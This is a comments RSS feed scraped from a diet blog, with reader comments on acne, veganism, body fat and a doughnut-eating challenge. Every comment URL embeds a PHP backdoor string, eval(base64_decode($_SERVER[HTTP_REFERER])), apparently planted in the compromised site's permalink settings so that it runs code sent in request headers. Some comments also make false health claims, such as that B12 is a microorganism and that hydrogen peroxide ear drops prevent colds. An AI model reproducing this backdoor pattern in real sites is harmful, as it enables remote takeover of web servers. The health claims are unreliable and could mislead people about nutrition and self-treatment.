Comments for I'm an Omnivore http://www.imanomnivore.com "Evolution is cleverer than you are." -Leslie Orgel Thu, 11 Mar 2010 07:48:43 +0000 http://wordpress.org/?v=2.3 Comment on What Really Causes Acne? by Michael http://www.imanomnivore.com/2007/10/10/what-really-causes-acne/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comment-4876 Michael Fri, 21 Aug 2009 12:31:48 +0000 http://www.imanomnivore.com/2007/10/10/what-really-causes-acne/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comment-4876 Interesting, I think we have no idea what eating processed food is doing to our bodies and acne is just one more bad side effect. Interesting, I think we have no idea what eating processed food is doing to our bodies and acne is just one more bad side effect.

]]> Comment on What Really Causes Acne? by Emily http://www.imanomnivore.com/2007/10/10/what-really-causes-acne/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comment-4875 Emily Fri, 21 Aug 2009 02:04:13 +0000 http://www.imanomnivore.com/2007/10/10/what-really-causes-acne/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comment-4875 Diet is definitely a main course of acne... when I eat chocolates or potato chips it really breaks me out... so its important to watch out for the trigger foods that harm! Diet is definitely a main course of acne… when I eat chocolates or potato chips it really breaks me out… so its important to watch out for the trigger foods that harm!

]]> Comment on Why We Are Not Made for Veganism by Flamingdogs http://www.imanomnivore.com/2007/07/08/why-we-are-not-made-for-veganism/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comment-4874 Flamingdogs Sun, 05 Jul 2009 17:36:07 +0000 http://www.imanomnivore.com/2007/07/08/why-we-are-not-made-for-veganism/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comment-4874 Hmm... I don't think you researched well enough. There's a comparative example I like to use when I'm trying to explain natural, so brace it. Humans are 98% - 99% genetically identical to Chimpanzee's... This is the example I loovvvvee to use!! Explaining a Chimpanzee's diet is easy, and lots of Omnivore's love to use the fact that Chimps eat meat against Vegans... But, they're a bit skewed. Only 2% of a Chimpanzee's diet consists of Meat, 68% consisting of Fruit, and 30% consisting of Vegetation. People carry the term "omnivore" way too far, we have so many herbivorous traits because our diet is supposed to be 98% herbivorous. So you see, becoming a Vegan doesn't pose any health risk, as Chimps for the most part are Vegan. As for B12; you obviously have no knowledge of this Vitamin. B12 is a microorganism, found everywhere. The reason B12 exists in meat is because the plants, which have B12 on them, are consumed by animals. We're not consuming B12 from plants or fruit anymore because we wash all of our fruit and plants before eating them. Chimpanzee's obtain B12 mostly from the soil they eat which contains lots of minerals, and the rest from plants and fruit. Meat is like a prize to a Chimp, they don't eat the animals or their relatives because they have to to survive, they do it because they're higher mark in intelligence sparks curiosity. Hmm… I don’t think you researched well enough. There’s a comparative example I like to use when I’m trying to explain natural, so brace it. Humans are 98% - 99% genetically identical to Chimpanzee’s… This is the example I loovvvvee to use!! Explaining a Chimpanzee’s diet is easy, and lots of Omnivore’s love to use the fact that Chimps eat meat against Vegans… But, they’re a bit skewed. Only 2% of a Chimpanzee’s diet consists of Meat, 68% consisting of Fruit, and 30% consisting of Vegetation. People carry the term “omnivore” way too far, we have so many herbivorous traits because our diet is supposed to be 98% herbivorous. So you see, becoming a Vegan doesn’t pose any health risk, as Chimps for the most part are Vegan.
As for B12; you obviously have no knowledge of this Vitamin. B12 is a microorganism, found everywhere. The reason B12 exists in meat is because the plants, which have B12 on them, are consumed by animals. We’re not consuming B12 from plants or fruit anymore because we wash all of our fruit and plants before eating them. Chimpanzee’s obtain B12 mostly from the soil they eat which contains lots of minerals, and the rest from plants and fruit. Meat is like a prize to a Chimp, they don’t eat the animals or their relatives because they have to to survive, they do it because they’re higher mark in intelligence sparks curiosity.

]]> Comment on Trash the Scale: How to Calculate Body Fat Percentage by Lloyd http://www.imanomnivore.com/2007/09/01/trash-the-scale-how-to-calculate-body-fat-percentage/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comment-4791 Lloyd Wed, 03 Dec 2008 05:16:34 +0000 http://www.imanomnivore.com/2007/09/01/trash-the-scale-how-to-calculate-body-fat-percentage/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comment-4791 I totally agree with you Jerermiah. I think knowing <a href="http://www.squidoo.com/how-to-calculate-your-body-fat-percentage" title="How to Calculate your Body Fat Percentage" rel="nofollow"> is very important for someone looking to track his fitness progress more accurately. I totally agree with you Jerermiah. I think knowing is very important for someone looking to track his fitness progress more accurately.

]]> Comment on The Krispy Kreme Challenge by Fitness Guy http://www.imanomnivore.com/2008/02/10/the-krispy-kreme-challenge/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comment-4701 Fitness Guy Sat, 05 Apr 2008 02:38:18 +0000 http://www.imanomnivore.com/2008/02/10/the-krispy-kreme-challenge/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comment-4701 As a guy that loves donuts this sounds like a great time. You look pretty passionate about the donut as you dig in in that last pic As a guy that loves donuts this sounds like a great time.

You look pretty passionate about the donut as you dig in in that last pic

]]> Comment on My Genetic Algorithm- Let Me Show You by Why Many People Aren’t Adapted to Modern Foods — Healthoid http://www.imanomnivore.com/2007/10/19/my-genetic-algorithm-let-me-show-you/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comment-3696 Why Many People Aren’t Adapted to Modern Foods — Healthoid Wed, 20 Feb 2008 23:13:09 +0000 http://www.imanomnivore.com/2007/10/19/my-genetic-algorithm-let-me-show-you/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comment-3696 [...] Source: My Genetic Algorithm - Let Me Show You [...] […] Source: My Genetic Algorithm - Let Me Show You […]

]]> Comment on The Krispy Kreme Challenge by EatFeats (competitive eating news and database) » Link Buffet: February 11, 2008 http://www.imanomnivore.com/2008/02/10/the-krispy-kreme-challenge/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comment-3664 EatFeats (competitive eating news and database) » Link Buffet: February 11, 2008 Mon, 11 Feb 2008 12:36:40 +0000 http://www.imanomnivore.com/2008/02/10/the-krispy-kreme-challenge/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comment-3664 [...] reading about “Super Burger” kit on eatfeats via the New York Times Freakonomics blog. Contest report and tips from Krispy Kreme Challenge participant Juliet Lee updates her WriteNow page Jill Stoler is down [...] […] reading about “Super Burger” kit on eatfeats via the New York Times Freakonomics blog. Contest report and tips from Krispy Kreme Challenge participant Juliet Lee updates her WriteNow page Jill Stoler is down […]

]]> Comment on I Got Sick (Not Surprisingly) by chainey http://www.imanomnivore.com/2007/12/12/i-got-sick-not-surprisingly/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comment-3298 chainey Tue, 05 Feb 2008 10:40:23 +0000 http://www.imanomnivore.com/2007/12/12/i-got-sick-not-surprisingly/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comment-3298 Interesting. As it happens I stumbled on his site a few days ago. Very commercial. Not sure what to make of him to be honest. Did you notice the eyebrows? It's like he's got two sets. Chainey Interesting. As it happens I stumbled on his site a few days ago. Very commercial. Not sure what to make of him to be honest.

Did you notice the eyebrows? It’s like he’s got two sets.

Chainey

]]> Comment on I Got Sick (Not Surprisingly) by Felicia http://www.imanomnivore.com/2007/12/12/i-got-sick-not-surprisingly/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comment-3295 Felicia Mon, 04 Feb 2008 00:46:48 +0000 http://www.imanomnivore.com/2007/12/12/i-got-sick-not-surprisingly/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comment-3295 Hi- We were skeptical of the hydrogen peroxide in the ears too but thought we'd try it anyway. It really seems to work. If our ears get itchy or we're feeling a little run-down, a few drops in each ear relieves the itchiness and our health bounces right back again. Haven't had colds or the flu now in literally years but I'm sure the hydrogen peroxide isn't the only reason! We also use herbs, a low-carb diet, avoid most sugars (and their substitutes) and get good quality rest. The last is aided by walnuts- another Mercola tip which seems to work amazingly well. You have to chew up the walnuts reeeeeeally well, though. Anyway, next time you feel punky give the hydrogen peroxide a try- unless of course you have punctured ear drums or your doctor says no for some other good reason. It however the "active" ingredient in a lot of over the counter ear wax removal drops so it's probably fairly harmless. Felicia. Hi-
We were skeptical of the hydrogen peroxide in the ears too but thought we’d try it anyway. It really seems to work. If our ears get itchy or we’re feeling a little run-down, a few drops in each ear relieves the itchiness and our health bounces right back again. Haven’t had colds or the flu now in literally years but I’m sure the hydrogen peroxide isn’t the only reason! We also use herbs, a low-carb diet, avoid most sugars (and their substitutes) and get good quality rest. The last is aided by walnuts- another Mercola tip which seems to work amazingly well. You have to chew up the walnuts reeeeeeally well, though.
Anyway, next time you feel punky give the hydrogen peroxide a try- unless of course you have punctured ear drums or your doctor says no for some other good reason. It however the “active” ingredient in a lot of over the counter ear wax removal drops so it’s probably fairly harmless.

Felicia.

]]> Comment on Why We Are Not Made for Veganism by Jeremiah http://www.imanomnivore.com/2007/07/08/why-we-are-not-made-for-veganism/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comment-3146 Jeremiah Wed, 23 Jan 2008 15:09:38 +0000 http://www.imanomnivore.com/2007/07/08/why-we-are-not-made-for-veganism/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comment-3146 Zoe, Thanks for the comment; long comments are the best! I was just reading up a little on the earliest use of fire and I think some conservative estimates put it at 200,000 years. The idea of this blog is that 10,000 years hasn't been long enough to adapt to grains and dairy(many cultures have had even less time). But 200,000 years is a considerably longer era. I think it's very possible that we could have adapted to cooked food in that time, but I can't say for sure. Could you give me some more info on the enzyme issue? I'm not too familiar with it, honestly. As far as the use of smell, I think that's brilliant. My feeling is that our senses are there for a reason. I say that we listen to our bodies instead of ignore them. I'd also like to hear more about your experience with raw veganism. It's something that intrigues me, that I think probably won't work (as suggested in this post), but that I would like to try sometime even so. I've been following <a href="http://www.stevepavlina.com/blog/" rel="nofollow"> Steve Pavlina's raw vegan 30-day trial.</a> I'm impressed with his discipline. He says this is one the most challenging things he's ever done. But I have to wonder: if this is such an ideal diet, why is he feeling so emotionally down? Why does he feel like food is "empty"? I really don't think detox lasts 20 days, but I am watching patiently to see how this thing ends. And I'm trying to keep an open mind too! :) Thanks, Jeremiah Zoe,

Thanks for the comment; long comments are the best! I was just reading up a little on the earliest use of fire and I think some conservative estimates put it at 200,000 years. The idea of this blog is that 10,000 years hasn’t been long enough to adapt to grains and dairy(many cultures have had even less time). But 200,000 years is a considerably longer era. I think it’s very possible that we could have adapted to cooked food in that time, but I can’t say for sure. Could you give me some more info on the enzyme issue? I’m not too familiar with it, honestly.

As far as the use of smell, I think that’s brilliant. My feeling is that our senses are there for a reason. I say that we listen to our bodies instead of ignore them.

I’d also like to hear more about your experience with raw veganism. It’s something that intrigues me, that I think probably won’t work (as suggested in this post), but that I would like to try sometime even so. I’ve been following Steve Pavlina’s raw vegan 30-day trial. I’m impressed with his discipline. He says this is one the most challenging things he’s ever done. But I have to wonder: if this is such an ideal diet, why is he feeling so emotionally down? Why does he feel like food is “empty”? I really don’t think detox lasts 20 days, but I am watching patiently to see how this thing ends. And I’m trying to keep an open mind too! :)

Thanks,
Jeremiah

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